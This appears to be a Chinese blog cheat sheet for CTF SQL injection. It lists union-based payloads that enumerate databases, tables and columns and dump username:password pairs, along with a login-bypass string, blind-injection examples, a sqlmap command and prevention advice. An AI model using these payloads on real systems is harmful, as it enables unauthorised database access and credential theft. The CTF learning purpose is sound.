【CTF】SQL 注入 总结

一、SQL 注入 思路

字段
回显



flag

1.万能密码登陆
2.登陆后,使用联合查询注入
3.爆字段
4.看回显
4.爆数据库
3.爆数据库的表
4.爆出表的列
5.爆出flag

输入框的#,直接使用hackbar地址栏,需将#进行URL编码,即替换为%23

order by 爆字段,到4报错,有4-1,即3个字段

1' order by 1 #
1' order by 2 #
1' order by 3 #
1' order by 4 #

union联合查询判断回显,在哪显示数据,就在哪替换命令

1' union select 1,2,3 #

3

爆库

1' union select 1,2,version() #

VERSION

1' union select 1,2,database() #

DATABASE,DATABASE1

爆库的表

只有一个数据库,省事直接相等

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

多个数据库,选择一个

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='DATABASE'

AAA,BBB,CCC

爆库表的列

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='AAA' #

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='BBB' # 

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='CCC' # 

id,username,password

读取内容,爆flag

1' union select 1,2,group_concat(id,username,password) from AAA #

id,username,password

1' union select 1,2,group_concat(username,0x3a,password) from AAA#

username:password,username:password

精简版

爆字段

1' order by 1 #
1' order by 2 #
1' order by 3 #
1' order by 1 %23
1' order by 2 %23
1' order by 3 %23

看回显

1' union select 1,2,3 #

爆数据库

1' union select 1,database(),version() #

DATABASE,VERSION

5.爆数据库的表

只有一个数据库,省事直接相等

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

多个数据库,选择一个

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='DATABASE'

AAA,BBB,CCC

6.爆出表的列

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='AAA' #

7.读取内容,爆flag

读AAA表

1' union select 1,2,group_concat(id,username,password) from AAA%23&password=1

可以加ASCII码方便区别

1' union select 1,2,group_concat(username,0x40,password) from AAA%23&password=1

二、SQL 注入 类型

三、技巧

万能密码

admin’ or 1=1 #

常见URL编码

#%23

常用ASCII码

0x3a
:
0x40 @

https://www.litefeel.com/tools/ascii.php

四、工具

1、hackbar

快捷键
Ctrl + Enter 执行

2、sqlmap

3、脚本

五、绕过

未完成待补充整理…

CTF(Capture The Flag)比赛中,SQL注入是常见且重要的考点。 ### SQL注入基础概念 SQL注入是指攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而改变原本的SQL语句逻辑,达到非法获取、修改或删除数据库中数据的目的。例如,一个简单的登录表单,如果没有对用户输入进行严格的过滤,攻击者就可以通过输入特殊的SQL语句绕过登录验证。 ### 常见的SQL注入类型 1. **基于错误的注入**:利用数据库返回的错误信息来获取数据库结构和数据。例如,在MySQL中,如果执行了一个错误的SQL语句,数据库会返回详细的错误信息,攻击者可以根据这些信息推断出表名、列名等。以下是一个简单的示例,假设存在一个存在注入漏洞的查询语句: ```sql SELECT * FROM users WHERE id = '$input'; ``` 攻击者可以输入 `1' OR 1=1; --`,这会使查询语句变为 `SELECT * FROM users WHERE id = '1' OR 1=1; --'`,由于`1=1`恒为真,后面的`--`是注释符号,会注释掉原语句的剩余部分,这样就可以绕过条件限制,查询出所有用户信息。 2. **盲注**:当应用程序没有返回详细的错误信息时,攻击者通过构造特定的SQL语句,根据页面返回的不同状态(如页面响应时间、页面内容是否变化等)来推断数据库中的信息。盲注又分为布尔盲注和时间盲注。 - **布尔盲注**:通过构造条件语句,根据页面的返回结果(如页面正常显示或报错)来判断条件是否为真。例如,构造 `1' AND (SELECT COUNT(*) FROM users) > 10; --`,如果页面正常显示,说明用户表中的记录数大于10;如果页面报错,说明记录数小于等于10。 - **时间盲注**:通过构造使数据库执行特定时间的延迟函数的SQL语句,根据页面响应时间来判断条件是否为真。例如,在MySQL中可以使用 `SLEEP()` 函数,构造 `1' AND IF((SELECT COUNT(*) FROM users) > 10, SLEEP(5), 0); --`,如果页面延迟5秒响应,说明用户表中的记录数大于10;如果页面立即响应,说明记录数小于等于10。 3. **联合查询注入**:当应用程序的SQL查询语句中存在可以使用`UNION`关键字的地方时,攻击者可以通过构造联合查询语句,将自己想要查询的信息与原查询结果合并返回。例如,原查询语句为 `SELECT id, username FROM users WHERE id = '$input';`,攻击者可以输入 `1 UNION SELECT database(), user(); --`,这样就可以获取当前数据库名和当前用户信息。 ### 检测SQL注入漏洞的方法 1. **手动测试**:通过在输入字段中输入一些常见的SQL注入测试字符,如单引号 `'`、双引号 `"`、分号 `;` 等,观察页面的响应情况。如果页面出现错误信息或显示异常,可能存在SQL注入漏洞。 2. **自动化工具**:使用一些专业的自动化漏洞扫描工具,如SQLMap。SQLMap可以自动检测和利用SQL注入漏洞,它可以检测多种数据库类型的注入漏洞,并可以获取数据库中的数据、表结构等信息。以下是使用SQLMap进行简单检测的命令示例: ```bash sqlmap -u "http://example.com/login.php?id=1" --batch ``` 其中,`-u` 后面跟的是存在注入嫌疑的URL,`--batch` 表示以批量模式运行,不进行交互询问。 ### 防范SQL注入的方法 1. **输入验证**:对用户输入进行严格的验证和过滤,只允许合法的字符输入。可以使用正则表达式来验证输入的格式是否符合要求。 2. **使用预处理语句**:在编写SQL语句时,使用数据库的预处理语句(如PHP中的PDO预处理语句),可以将SQL语句和用户输入的数据分开处理,避免SQL注入。以下是一个PHP PDO预处理语句的示例: ```php $pdo = new PDO('mysql:host=localhost;dbname=test', 'username', 'password'); $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $id = $_GET['id']; $stmt->bindParam(':id', $id, PDO::PARAM_INT); $stmt->execute(); $result = $stmt->fetchAll(PDO::FETCH_ASSOC); ``` 3. **最小化数据库权限**:为应用程序分配最小的数据库操作权限,避免使用具有过高权限的数据库账户,这样即使发生SQL注入,攻击者所能获取和操作的数据也会受到限制。 ### 利用SQL注入CTF比赛中获取Flag 在CTF比赛中,Flag通常以某种形式存储在数据库中。攻击者可以通过SQL注入漏洞,使用上述的注入方法来获取数据库中的Flag信息。例如,通过联合查询注入将Flag信息与原查询结果合并返回,或者通过盲注逐步推断出Flag的内容。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值